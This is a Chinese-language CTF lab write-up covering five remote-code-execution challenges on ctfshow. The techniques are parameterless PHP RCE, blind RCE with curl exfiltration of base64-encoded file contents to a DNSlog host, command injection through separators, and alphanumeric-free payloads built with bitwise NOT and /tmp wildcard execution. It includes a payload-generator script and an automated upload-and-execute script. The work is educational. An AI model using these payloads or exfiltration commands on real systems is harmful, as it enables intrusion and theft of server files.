当前位置: 首页 > news >正文

渗透基础知识ctfshow——Web应用安全与防护(第二章)

ctfshow靶场——Web应用安全与防护(第二章):

  1. PHP无参数RCE:利用localeconvscandir等内置函数嵌套及数组指针操作,在无参数输入的情况下动态构造参数并读取文件。
  2. 无回显命令执行 (Blind RCE):通过>将结果重定向至Web目录文件,或利用curl/ping将执行结果通过 OOB 外带至外部日志平台。
  3. 命令拼接注入与前端绕过:使用分号;||截断原有命令上下文,配合base64编码输出以防 PHP 源码被浏览器当作标签隐藏。
  4. PHP无字母数字RCE:利用 PHP 动态执行与位运算特性,将取反后的不可见字符编码包裹在单引号中,于eval环境中动态还原函数名与参数。
  5. Bash无字母数字RCE:利用 POST 请求生成的/tmp/临时存放文件写入明文恶意命令,并依靠. /???/????????[@-[]等纯符号通配符盲打执行。

文章目录

    • 一句话木马变形
      • 知识点
      • 原理讲解
    • 反弹shell构造(极其重要!!!)
      • 知识点
      • 方法一:重定向写入文件
      • 方法二:OOB 外带数据 (Out-of-Band)
    • 管道符绕过过滤
      • 知识点
      • 绕过方法
      • 方法一:重定向
      • 方法二:直接查看flag.php内容
      • 方法三:编码输出
    • 无字母数字代码执行(重要)
      • 知识点
      • 绕过方法:取反构造法
      • payload生成脚本
    • 无字母数字命令执行(重要)
      • 知识点
      • 绕过方法
      • 解决方案:一键发包脚本
    • 总结

一句话木马变形

适合纯新手入门使用,难度极低。

知识点

本关考察 PHP 无参数远程代码执行及字符过滤绕过技术,核心在于利用内置函数嵌套动态生成参数。具体流程为:

首先通过current(localeconv())构造出点号(.)并传入scandir()获取当前目录文件数组;

接着由于目标文件位于原数组倒数第二位,需使用array_reverse()翻转数组,再配合next()函数提取出目标文件名;

最后将该文件名传递给show_source()函数以输出文件源代码。


这里我们打开网页,得到如下页面:

尝试输入PHP语句,返回了报错:

# 只允许使用字母、数字、下划线、括号和分号Error: Invalid characters detected!Only letters, numbers, underscores ,parentheses and semicolons are allowed.

可以看出,后端的过滤规则极度严格:

  • 禁止了空格引号(单双)、美元符号($)、点号(.)以及各种运算符
  • 这意味着你无法直接使用字符串 system(“ls”)等命令执行函数;

既然常见的方式无法绕过:

  • system,tac,cat,nl,head,more 等函数;
  • phpfilter / data 伪协议
  • include文件包含

还有很多方法,大家感兴趣可以看我的专栏:CTF靶场命令执行部分

原理讲解

接下来这个绕过方法,很久之前我就用过,只不过不常见:

(具体原理可以看这篇文章)

  • 命令执行–scandir(‘.‘)的用法
  • 命令执行web40关
# 1. 查看当前目录下的文件:print_r(scandir(current(localeconv())));# 2. 读取 Flag 文件# 如果 flag.php 是数组的最后一个:show_source(end(scandir(current(localeconv()))));# 如果 flag.php 是倒数第二个(紧挨着最后一个)show_source(prev(scandir(current(localeconv()))));# 但是flag在第三个怎么办?可以用array_reverse函数show_source(next(array_reverse(scandir(pos(localeconv())))));

核心原理就是"像搭积木一样造出所需参数”,完美绕过字符过滤:

  • 造出.(当前目录):localeconv()返回本地化信息数组,其第一项固定是小数点.
    • current()取出它,就等同于写了字符串"."
  • 读目录:scandir(".")读取当前目录,返回包含所有文件名的数组
    • (如['.', '..', 'flag.php'])。
  • 定位文件:利用数组指针函数精准抓取flag.php这个字符串:
    • 若在最后一位:用end()取出。
    • 若在倒数第二:不能直接用prev()(因为刚生成的数组指针在第一位,往前会越界报错),应该用next(array_reverse(...)),即先翻转数组,再取第二个。
  • 出结果:外层套上show_source(),直接打印出目标文件的源码,拿下 Flag。

具体步骤:
(1)print_r(localeconv());得到小数点.所以接下来可以使用scandir(‘.’)打印出当前目录:

(2)打印出小数点.,搭配 函数使用

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,
  • pos() 同 current() ,是current()的别名
  • reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

打印当前目录:print_r(scandir(pos(localeconv())));

(3)根据文件的位置查看内容:

因为是第三个,所以使用payload:show_source(next(array_reverse(scandir(pos(localeconv())))));

反弹shell构造(极其重要!!!)

适合纯新手入门使用,难度极低。

知识点

本关考察无回显 RCE(Blind RCE)的两种经典解法:

  1. 重定向写文件:在 Web 目录可写的情况下,利用>将命令结果输出到自定义 txt 文件中,再通过浏览器直接访问该文件查看回显。
  2. OOB 数据外带:在目录不可写但服务器出网的情况下,利用curlping,将命令结果(常配合 Base64 编码)拼接到外部接收平台的地址中发起请求,最后在外部平台的日志记录里间接读取数据。

这里我们输入whoami,id等命令,但都是返回固定结果:

这是一个典型的无回显 RCE (Blind RCE)。后端的代码确实执行了你传入的系统命令,但并没有将命令的标准输出 (stdout) 返回给 HTTP 响应体,而是返回固定的结果;

方法一:重定向写入文件

如果当前的 Web 目录具有写权限,你可以直接将命令执行的结果重定向(>>>)到一个新的 txt 或 php 文件中,然后直接通过浏览器访问该文件读取结果。

相应文章:命令执行web43-44关

输入如下命令:

cpflag.php out.txt

随后访问 https://xx.challenge.ctf.show/out.txt即可得到结果:

也是得到结果;

方法二:OOB 外带数据 (Out-of-Band)

如果 Web 目录不可写(例如没有权限或被限制),但服务器允许出网,你可以利用curlwget 将执行结果作为 URL 的一部分请求你自己的服务器或DNSlog 平台

  • 常用网站:http://www.dnslog.cn/
  • 测试 Payload:code=curl http://你的DNSlog地址.com/?data=$(whoami)
  • 拿 Flag Payload:code=curl http://你的VPS或DNSlog地址/?data=$(cat /flag | base64)

这里我尝试了两条命令:

# 查看当前目录文件列表:code=curl http://gojo4j.xxxx.io/?d=$(ls|base64-w0)# 读取 Flag 文件code=curl http://gojo4j.xxxx.io/?d=$(catflag.php|base64-w0)

执行命令后,DNSlog平台均有相应:

随后查看http响应记录:可以看到ls的结果,以base64编码返回到url里


随后查看flag.php的内容(第二条命令):

成功返回结果:


管道符绕过过滤

适合纯新手入门使用,难度极低。

知识点

  1. 命令拼接注入:利用分号(;)或逻辑符(||)等管道符打断原有命令上下文,从而追加并执行自定义的恶意系统命令。

  2. 源码查看与重定向:直接读取.php文件时,代码易被浏览器作为标签解析而隐藏(需按 F12 看网页源码);使用>将结果重定向至.txt文件可直接在网页查看。

  3. 编码输出绕过:通过base64命令将目标文件内容编码为纯文本字符串输出,能完美无视前端浏览器的解析干扰和后端的字符过滤,提取后再解码即可。


打开页面,发现输入命令,都会返回ls {输入的命令} execute success!

尝试:输入whoami

猜测:系统固定执行ls {输入参数}的命令;

  • 所以我们应该可以查看所有的文件;
  • 尝试输入/代表列出根目录的所有文件

结果果然如此:

随后我又找到了flag.php的位置:/var/www/html

后面又尝试了其他命令:利用 Linux 的命令分隔符,“逃逸” 出前面的ls命令限制,从而执行真正需要的读取操作(如cat)。在

  1. 分号 (;) 顺序执行:输入/; cat /flag/; cat flag.php。系统会先执行ls /,执行完毕后接着执行你的cat命令。
  2. 逻辑或 (||) 短路执行:输入fake_dir || cat /flag。故意给ls提供一个不存在的目录使其报错,进而触发后面的cat命令。
  3. 逻辑与 (&&) 拼接:输入/ && cat /flag
  4. 管道符 (|):如果不知道 flag 的具体名字,可以先尝试输入/; find / -name "flag*"| ls / | grep flag进行搜索定位。

很遗憾,都失败了;

绕过方法

这里我突然想到能不能换行试试,果然有变化:

方法一:重定向

所以这里也有两种方法:直接查看flag.php的内容 和 重定向到out.txt 再进行查看:

同样能够得到结果:

方法二:直接查看flag.php内容

没有内容?


其实查看源代码就行了:

方法三:编码输出

后端核心的漏洞代码(最重要的部分)大概率长这样:

$code=$_POST['code'];// 1. 打印你看到的拼接提示语echo"ls ".$code." execute success!\n";// 2. 危险函数直接拼接并执行,导致了命令注入system("ls ".$code);

拼接后的完整命令为ls /; cat /var/www/html/flag.php

绕过原理是利用 Linux Shell 的多命令分隔符(如分号;),强行打断原有的命令上下文,使系统在执行完预设的ls操作后,将后续拼接的输入作为独立的全新系统命令予以执行。

# 把文件内容转成 Base64 字符串输出,这样就不会被浏览器吃掉标签:/;base64 /var/www/html/flag.php# 正常读取 + 查看网页源码/;catflag.php

结果如下:

无字母数字代码执行(重要)

适合纯新手入门使用,难度极低。

知识点

本关考察无字母数字的命令执行绕过。当 WAF 严格过滤了全部字母和数字时,我们可以利用 PHP 的动态函数执行与位运算(如取反~)特性。

原理是预先将需要的函数名(如system)和参数的 ASCII 码进行位取反,转换为由%和十六进制组成的不可见字符编码;

当后端 PHP 引擎执行由单引号包裹的(~'不可见字符编码')时,会将其再次取反,在内存中完美还原为正常的英文字符串并执行,从而巧妙避开所有正则过滤规则。


这里尝试输入命令,发现提示:Error: Invalid shell code!

输入数字123,也是同样的结果;

绕过方法:取反构造法

这是一个经典的无字母数字 Bypass题型。当 WAF 严格过滤了[a-zA-Z0-9]时,常规的函数名和参数都无法直接输入。

解决的核心思路是:

  • 利用 PHP 的位运算符(如取反~或异或^)与不可见字符(不可打印的 ASCII 码)进行运算,在内存中动态生成我们需要的字母。

  • 在 PHP 7 及以上版本中,最简单高效的方法是取反构造法。我们可以对需要的字符串逐个字符进行取反运算,转成十六进制的 URL 编码。

  • 相应的的文章:命令执行web57关


由于这些 Payload 包含大量的 URL 编码符号%,直接在网页输入框里填可能会被浏览器二次转义或截断。建议抓包后在 Repeater 中修改参数:

执行phpinfo();

code=(~%8F%97%8F%96%91%99%90)();

(原理解析:%8F取反就是字母p,依此类推拼出phpinfo,外层加括号当成函数调用)

这里我们执行后,成功返回phpinfor页面:

payload生成脚本

日常刷题时手动算取反太麻烦了,可以顺手写个 Python 小脚本,在本地终端里直接生成你想要的任意无字母数字 Payload:

defgenerate_payload(func,arg):# 对函数名取反func_encoded="".join([f"%{hex(255-ord(c))[2:].upper()}"forcinfunc])# 对参数取反arg_encoded="".join([f"%{hex(255-ord(c))[2:].upper()}"forcinarg])# 修改为带单引号的格式payload=f"(~'{func_encoded}')(~'{arg_encoded}');"returnpayload# 生成 system('cat flag.php') 的 payloadprint(generate_payload("system","cat flag.php"))

这里直接构造命令:system("cat falg.php");

# cat flag.php结果(~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F');# 查看当前目录(~'%8C%86%8C%8B%9A%92')(~'%93%8C');

得到结果:

无字母数字命令执行(重要)

名字与上一关很像,我猜测原理应该也差不多;(但是上一关的payload无法使用)

知识点

  • 为什么上一关的(~'%8C...')(~'...')在这里失效了?
    • 因为上一关的底层代码是 PHP 的eval($_POST['code']),所以它能解析 PHP 的取反位运算符。
    • 而这一关,从输入框默认的whoami以及报错回显可以看出,底层又变回了Shell (Bash) 命令行执行(类似于system("ls " . $_POST['code']);)。

这里必须祭出 CTF 无字母数字 RCE 的绝对方法:“临时文件上传 + Shell 路径通配符”盲打


绕过方法

  1. 上传文件:当我们向 PHP 服务器发送一个包含文件上传的 POST 请求时,PHP 会把文件默认暂存在/tmp/目录下,并随机生成一个包含字母和数字的文件名,比如/tmp/php1A2b3C
  2. 隐藏杀机:上传的这个文件的内容是不受任何 WAF 过滤的!所以我们可以在文件里不受限制的写上完整的cat flag.php
  3. 通配符执行:我们在code参数里利用 Bash 的.(source 命令,用于执行文件) 和?通配符去盲猜并执行这个临时文件。

为了不用字母,我们将路径写成:/; . /???/????????[@-[]

  • /???匹配/tmp
  • ????????匹配php1A2b3C的前 8 个字符。
  • [@-[]是一个 ASCII 范围匹配,专门匹配大写字母(因为临时文件的最后一位很大概率是大写字母)。

解决方案:一键发包脚本

因为临时文件的最后一位是大写字母的概率大概是三分之一,如果在 Burp Suite 里手动发包需要点好几次,比较折腾。所以建议在本地运行下面这段Python 脚本,它会自动帮你把 得到Flag :

importrequests# 1. 替换为你当前题目的实际 URLurl="http://2511d1d3-19ce-402a-8578-8c77120dcaf7.challenge.ctf.show/"# 2. 我们要上传的恶意文件,内容是明文命令(这里假设读 flag.php)files={'file':('1.txt','cat flag.php')}# 3. 注入的无字母数字 Payload# 意思是:截断 ls 命令,然后执行 /tmp/ 下刚才上传的临时文件data={'code':'/; . /???/????????[@-[]'}print("开始盲打,尝试匹配临时文件后缀...")# 循环发送,直到临时文件的随机名以大写字母结尾被我们撞上foriinrange(20):try:response=requests.post(url,files=files,data=data)# 如果回显中包含了我们想要的结果(避开默认的 execute success!)if"flag{"inresponse.textor"<?php"inresponse.text:print(f"\n🎉 第{i+1}次尝试命中!成功拿到回显:")print(response.text)breakelse:print(f"第{i+1}次未命中 (临时文件尾号非大写),重试中...")exceptExceptionase:print(f"请求报错:{e}")

运行说明:
直接运行这个脚本,它会不断向服务器扔包含cat flag.php的临时文件,并用纯符号命令去尝试执行它。一旦碰巧系统生成的临时文件名以大写字母结尾,命令就会被成功执行,就会直接得到flag;

很幸运,只执行一次即可得到结果:

总结

本章涉及到的知识点还是很多的:

  1. PHP无参数RCE:利用localeconvscandir等内置函数嵌套及数组指针操作,在无参数输入的情况下动态构造参数并读取文件。
  2. 无回显命令执行 (Blind RCE):通过>将结果重定向至Web目录文件,或利用curl/ping将执行结果通过 OOB 外带至外部日志平台。
  3. 命令拼接注入与前端绕过:使用分号;||截断原有命令上下文,配合base64编码输出以防 PHP 源码被浏览器当作标签隐藏。
  4. PHP无字母数字RCE:利用 PHP 动态执行与位运算特性,将取反后的不可见字符编码包裹在单引号中,于eval环境中动态还原函数名与参数。
  5. Bash无字母数字RCE:利用 POST 请求生成的/tmp/临时存放文件写入明文恶意命令,并依靠. /???/????????[@-[]等纯符号通配符盲打执行。

希望大家温故而知新,期待下次再见;

http://www.jsqmd.com/news/604979/

相关文章:

  • 0欧姆电阻在电子设计中的关键应用与选型指南
  • 6款AI论文改写工具,智能降重与语言润色,有效减少重复率。
  • AI率降完复测变高,不是工具问题是这个原因
  • k8s资源之StatefulSet
  • 从一次线上事故复盘:我们如何用OWASP ZAP揪出jQuery遗留的AJAX CSRF漏洞
  • DVCon 2025 论文精华导读及下载链接
  • Arduino传感器线性映射封装库:模拟信号调理与缓存优化
  • 2026最新!5款亲测好用的录音转写在线神器,免费无套路,办公学习必备真香!
  • 2026温州本地正规黄金白银回收标杆名录 附选购避坑全指南 - 优质品牌商家
  • 揭秘Apollo框架C++内存泄漏:3步定位、2分钟修复,车载系统崩溃率直降92%
  • Anomaly Detection系列(CVPR2025 LASB论文解读)
  • Dify知识库如何实现多轮对话中的情感分析
  • Redis面试问题大全,看这些就够了(凭借这个oc网易,快手)
  • G-Helper华硕优化工具终极指南:3分钟释放笔记本全部潜力
  • 解锁论文新姿势:书匠策AI,你的毕业论文“智能导航仪”!
  • 《腾讯新闻商品详情页前端性能优化实战》
  • Si4703 FM收音芯片驱动开发与RDS解析实战
  • YOLO26改进 - 注意力机制 | CoordAttention坐标注意力:嵌入位置信息破解通道注意力局限,增强目标空间感知
  • Prometheus Operator介绍
  • 广汽一季度海外业务强劲增长,销量同比增长86%
  • 基于SpringBoot + Vue的教师听评课管理系统(角色:评课专家、教师、管理员)
  • 书匠策AI大揭秘:毕业论文的“智能魔法棒”,让学术之路畅通无阻!
  • # 数据库实体关系转换规则详细报告
  • 2026四川钙砂供应合规企业名录 附核心参数与联系方式 - 优质品牌商家
  • 考拉兹映射中不存在非平凡周期轨道
  • 2026届最火的十大降AI率平台推荐榜单
  • YOLOv11 改进 - 注意力机制 | MFCA频率通道注意力(Multi-Frequency Channel Attention):解决小目标特征信息少、易被噪声干扰的问题
  • 内存受限边缘节点编译失败?手把手复现并解决libc++符号膨胀、RTTI/EXCEPTION裁剪冲突(附可验证Patch)
  • 边缘AI终端部署卡在编译?揭秘C++轻量化编译的5个反直觉陷阱及3步绕过方案
  • SCH1633-D01 |Murata村田|汽车级|±300度的角速率六轴陀螺仪|惯性导航